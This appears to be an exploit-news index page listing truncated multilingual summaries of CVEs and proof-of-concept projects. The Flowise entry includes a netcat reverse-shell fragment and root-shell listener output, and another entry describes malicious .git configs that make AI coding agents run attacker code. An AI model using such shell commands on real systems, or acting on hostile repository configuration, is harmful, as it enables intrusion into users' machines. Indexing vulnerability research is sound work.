CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

kernel: Linux kernel: Use-After-Free in net/gro due to improper handling of zerocopy skbs

A flaw was found in the Linux kernel's Generic Receive Offload GRO networking subsystem. This vulnerability occurs when skbgroreceive attempts to merge zerocopy socket buffers skbs without properly managing page reference counts, specifically when the SKBFLMANAGEDFRAGREFS flag is set. An attacker...

CVE-2025-24893

Infos Este PoC primero prueba la SSTI y, si funciona, entra en un bucle y te permite ejecutar comandos de forma remota. Los comandos exec y shell hacen lo mismo actualmente. Uso Conexión root@kitploit: python3 poc.py Ejemplo Con debug establecido en False por defecto root@kitploit: python3 poc.py...

CVE-2026-20841

No se ha verificado la precisión de este método de activación del PoC, y debe considerarse solo como informativo/de referencia. CVE-2026-20841 - RCE en notepad.exe de Windows Condición de explotación: Probado en: Versión del Bloc de notas 11.2510.14.0 Paso 1: Guardar archivo Paso 2: Abrir archivo...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code

Manifold Security has disclosed eight security flaws across seven command-line AI coding agents in which a repository's own Git configuration names a command that the agent runs on the developer's machine, four of them still unpatched at publication. The command executes as the user, outside the...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

= doi.org/10.5281/zenodo.18413764 = orcid.org/0009-0007-7728-256X root@kitploit: README.md CVE-2026-0628: Escalada de Privilegios en Chromium WebView Suplantación de Origen – Investigación Técnica y Prueba de Concepto Autor: Sastra Adi Wiguna Purple Elite Teaming Fecha de Investigación: Enero 202...

CVE-2026-39987-Lab

CVE-2026-39987 — Laboratorio de RCE por WebSocket de Terminal Pre-Auth en marimo Laboratorio Docker solo-local para reproducir y comprender CVE-2026-39987 en marimo. Este proyecto compara un servicio marimo vulnerable con un servicio marimo parcheado lado a lado, y luego demuestra la diferencia...

WhatsRCE

WhatsRCE Esta es una herramienta de generación automatizada de payloads para CVE-2019-11932 Ejecución Remota de Código en WhatsApp 1. Instalación automática de GCC comando inofensivo, puedes ver que es de código abierto 2. Guardado en archivo .GIF ¿Cómo Usarlo? root@kitploit: sudo apt install git...

CVE-2026-39387

CVE-2026-39387 — BoidCMS Autenticado: Subida de Archivos a RCE mediante Inyección de Plantillas Descripción BoidCMS = 2.1.2 permite a un atacante autenticado lograr la Ejecución Remota de Código RCE combinando dos vulnerabilidades: 1. Subida de archivos sin restricciones — el endpoint de subida d...

Magneto-PolyShell

Exploit Magento 2 RCE - Carga de archivos no autenticada para RCE ⚠️ Esta herramienta es solo para pruebas de seguridad educativas y autorizadas. El uso no autorizado contra sistemas que no te pertenecen es ilegal. Este exploit apunta a una vulnerabilidad crítica de ejecución remota de código RCE...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE 针对 Flowise 版本 &1|nc 10.10.15.200 443 /tmp/f' 检查监听器，它应该会工作: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 — PaperCut NG/MF 认证绕过与远程代码执行 针对 PaperCut NG/MF 中关键认证绕过和远程代码执行漏洞的独立 Python 利用工具。CVSS 评分 9.8。 描述 CVE-2023-27350 影响 20.1.7、21.2.11 和 22.0.9 之前的 PaperCut NG 和 MF 版本。该漏洞允许未经身份验证的攻击者访问 /app?service=page/SetupCompleted 端点——一个本应仅在初始安装期间可访问的设置页面——并在没有任何凭据的情况下获取有效的管理会话。 拥有管理员权限后，攻击者可以启用...

CVE-2026-63520

CVE-2026-63520 RCE por tipo inseguro en SharePoint + cadena CVE-2026-55040 RCE no autenticado en Microsoft SharePoint Server. No se necesitan credenciales. Stephen Fewer Rapid7 demostró CVE-2026-55040 en Pwn2Own Berlín 2026. Rapid7 luego descubrió CVE-2026-63520 durante una investigación de...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — Inyección SQL / Bypass de Autenticación / RCE en ProFTPD modsql Reproducción independiente, análisis del código fuente a nivel de causa raíz y un análisis de exposición franco para CVE-2026-42167 — el bypass de isescapedtext en la canalización de registro de modsql de ProFTPD,...

CVE-2026-25253

CVE-2026-25253: استغلال تنفيذ التعليمات البرمجية عن بُعد بنقرة واحدة في OpenClaw عبر سرقة رمز المصادقة البرنامج المتأثر: OpenClaw clawbot إخلاء مسؤولية قانوني: هذا الكود والشرح مقدم لأغراض البحث الأمني المصرح به والتعليم فقط. استخدام هذا الاستغلال ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاق...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - Cadena completa n8n Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Evasión de sandbox → RCE | ---|--- CVE| CVE-2026-21858 AFR + CVE-2025-68613 RCE CVSS| 10.0 + 9.9 Crítico Afectado| = 0.211.0 RCE Corregido| 1.121.0 AFR /...

CVE-2026-24423

CVE-2026-24423 root@kitploit: CVE-2026-24423 – Reproducción ⚠️ Solo para investigación de seguridad y pruebas autorizadas / For security research and authorized testing only Introducción Overview Este proyecto se utiliza para reproducir la vulnerabilidad CVE-2026-24423. La vulnerabilidad existe en...